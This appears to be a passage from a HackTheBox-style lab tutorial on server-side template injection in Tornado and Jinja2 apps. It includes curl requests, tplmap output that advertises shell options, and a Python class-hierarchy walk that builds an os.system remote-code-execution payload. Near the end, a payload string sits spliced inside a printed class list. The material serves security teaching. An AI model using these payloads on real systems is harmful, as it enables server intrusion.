root@htb[/htb]$ curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam
<html><title>500: Internal Server Error</title><body>500: Internal Server Error</body></html>
The payloads we utilized (and more) can be found on PayloadsAllTheThings - Template Injection and HackTricks- SSTI (Server Side Template Injection)
It should be straightforward now that no methodology is bulletproof. We could compile a list of template engine-specific payloads from the abovementioned resources and fuzz the application until we conclude on the template engine being used.
Eventually, when submitting Tornado-specific payloads, we will come across the below.
root@htb[/htb]$ curl -X POST -d "email=
{% import os %}
{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam
<html>
<head>
<style>
form {
margin: 0 auto;
width: 200;
}
</style>
</head>
<body>
<h1 style="text-align: center;">~ Damn Hackers ~</h1>
<h2 style="text-align: center;">Gentlemen, we can rebuild it <br />We have the technology <br />We have the capability to make the worlds first bionic website<br />Better than it was before <br />Better, Stronger, Faster.</h2>
<h2 style="text-align: center;"><em>Great!</em></h2>
<h3 style="text-align: center;"><em>Email 0 has been subscribed. You'll hear from us soon!</em></h3>
</body>
It seems we finally got it! Tornado is being utilized on the backend.
As already mentioned in previous sections, tplmap can be used to automate both the template engine identification and exploitation process.
tplmap.py
root@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'email' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
POST parameter: email
Engine: Tornado
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Now, proceed to this section's exercise and complete the objective either by crafting the payload yourself or through a shell obtained with the help of tplmap.
Let's check the last application in the SSTI series. Once again, our focus will be on identifying if the application is vulnerable to Server-Side Template Injection.
Navigate to the end of this section and click on Click here to spawn the target system!, then use the provided Pwnbox or a local VM to follow along. If you browse the target, you should come across the application below.

User input is submitted via the cmd parameter through a GET request. Let's submit mathematical expressions in curly brackets in the input field, such as the ones mentioned on the SSTI Identification section, starting with {7*7}.
cURL - Interacting with the Target
SSTI Exploitation Example 3
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={7*7}"
<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;
}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>{7*7}</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>
<div id="taskbar">
</div>
<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">© HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>
It doesn't look like the application evaluated the submitted expression. Let us continue with another expression, ${7*7} this time.
SSTI Exploitation Example 3
root@htb[/htb]$ curl -gs 'http://<TARGET IP>:<PORT>/execute?cmd=${7*7}'
<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;
}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>${7*7}</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>
<div id="taskbar">
</div>
<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">© HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>
It doesn't look like the application evaluated this expression either. What about {{7*7}}?
SSTI Exploitation Example 3
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*7}}"
<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;
}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>49</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>
<div id="taskbar">
</div>
<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">© HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>
Luckily this time, the application evaluated the latest mathematical expression we submitted and returned the result, 49. It looks like we may be dealing with an SSTI vulnerability!
As already mentioned, the first thing we need to do when dealing with SSTI vulnerabilities is to identify the template engine the application is utilizing. Once again, let's use PortSwigger's diagram in the SSTI Identification. We already know that the {{7*7}} expression was evaluated successfully. The next expression the diagram suggests trying is {{7*'7'}}. Let us try it and see how the application responds.
SSTI Exploitation Example 3
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}"
<!DOCTYPE html>
<html lang="en">
<style type="text/css">
#command {
resize: horizontal;
background-color : transparent;
border-color: transparent;
font-size: 15px;
width: 200px;
}
#command:active {
width: auto;
}
</style>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="/static/css/jquery-ui.css">
<script src="/static/js/jquery-1.12.4.js"></script>
<script src="/static/js/jquery-ui.js"></script>
<script src="/static/js/script.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/style.css" />
<title>Windows</title>
</head>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>7777777</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<div class="window" data-title="Windows">
<h1>Windows</h1>
<p>Minimize the windows to the taskbar, make them full screen or close them.</p>
<p>Drag the title bar to move the windows or resize them from the bottom right corner.</p>
</div>
<div id="taskbar">
</div>
<div id="icons">
<a class="openWindow" data-id="0">Run</a>
<a class="openWindow" data-id="1">Welcome</a>
</div>
<font size="5px"><a href="https://html5-templates.com/" rel="nofollow" target="_blank" id="templateLink">© HTML5-Templates.com</a></font>
<!-- You can use this template freely if you leave a visible link to HTML5-Templates.com -->
</div>
</body>
The application successfully evaluated this expression as well. According to PortSwigger's diagram, we are dealing with either a Jinja2 or a Twig template engine. That being said, the fact that {{7*'7'}} was evaluated with the application returning 7777777 means that Jinja2 is being utilized on the backend.
We could have automated the template engine identification process we just executed through tplmap, as follows.
tplmap.py
SSTI Exploitation Example 3
root@htb[/htb]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd'
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'cmd' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: cmd
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
The next step is to gain remote code execution on the target server. Before moving to the payload development part, let's look at some Python for SSTI.
Below is a small dictionary from fatalerrors.org to refer to when going over the Jinja2 payload development part of this section:
| No. | Methods | Description |
| 1. | class | Returns the object (class) to which the type belongs |
| 2. | mro | Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples. |
| 3. | subclasses | Each new class retains references to subclasses, and this method returns a list of references that are still available in the class |
| 4. | builtins | Returns the builtin methods included in a function |
| 5. | globals | A reference to a dictionary that contains global variables for a function |
| 6. | base | Returns the base class inherited by the object <-- ( base and mro are used to find the base class) |
| 7. | init | Class initialization method |
Start by running Python on Pwnbox's or a local VM's terminal, then follow along.
Python 3 Interpreter
root@htb[/htb]$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
Create a string object and use type and __class__, as follows. Then use the dir() command to show all methods and attributes from the object.
>>> import flask
>>> s = 'HTB'
>>> type(s)
<class 'str'>
>>> s.__class__
<class 'str'>
>>> dir(s)
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
The next step is to understand Python's hierarchy. Using __mro__ or mro(), we can go back up the tree of inherited objects in the Python environment. Let's practice this as follows.
>>> s.__class__.__class__
<class 'type'>
>>> s.__class__.__base__
<class 'object'>
>>> s.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>,
<SNIP>
>>> s.__class__.mro()[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>,
<SNIP>
Now, let us look for useful classes that can facilitate remote code execution.
>>> x = s.__class__.mro()[1].__subclasses__()
>>> for i in range(len(x)):print(i, x[i].__name__)
...
0 type
1 weakref
2 weakcallableproxy
3 weakproxy
4 int
5 bytearray
6 bytes
7 list
8 NoneType
<SNIP>
>>> def searchfunc(name):
... x = s.__class__.mro()[1].__subclasses__()
... for i in range(len(x)):
... fn = x[i].__name__
... if fn.find(name) > -1:
... print(i, fn)
...
>>> searchfunc('warning')
215 catch_warnings
Why are we searching for warning you may ask. We chose this class because it imports Python's sys module , and from sys, the os module can be reached. More precisely, os modules are all from warnings.catch_.
Please note that you will probably come across a different number. Back to our Python for SSTI specifics, we have seen that catch_warnings is present without importing any additional module to our Python console. Let's enumerate the builtins from this class as follows.
>>> y = x[215]
>>> y
<class 'warnings.catch_warnings'>
>>> y()._module.__builtins__
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>,
<SNIP>
>>> z = y()._module.__builtins__
>>> for i in z:
... if i.find('import') >-1:
... print(i, z[i])
...
__import__ <built-in function __import__>
It seems we have reached the import function by walking the hierarchy. This means we can load os and use the system function to execute code all coming from a string object, as follows.
>>> ''.__class__.__mro__[1].__subclasses__()
[215]()._module.__builtins__['__import__']('os').system('echo RCE from a string object')
RCE from a string object
0
Returning to our vulnerable web application, let's see how we can repeat the same process and develop an RCE payload. Remember that the below payloads can be submitted to the application via the browser as is or via cURL after being URL encoded.
Payload:
{{ ''.__class__ }}
Curl - Interacting with the Target
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__%20%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a><class 'str'></a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
Payload
{{ ''.__class__.__mro__ }}
Curl - Interacting with the Target
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>(<class 'str'>, <class 'object'>)</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
We are interested in the second item, so the payload should become:
{{ ''.__class__.__mro__[1] }}
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%20%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a><class 'object'></a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
Let us start walking down the hierarchy, as follows.
{{ ''.__class__.__mro__[1].__subclasses__() }}
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%20%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class {{ ''.__class__.__mro__ }}
'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 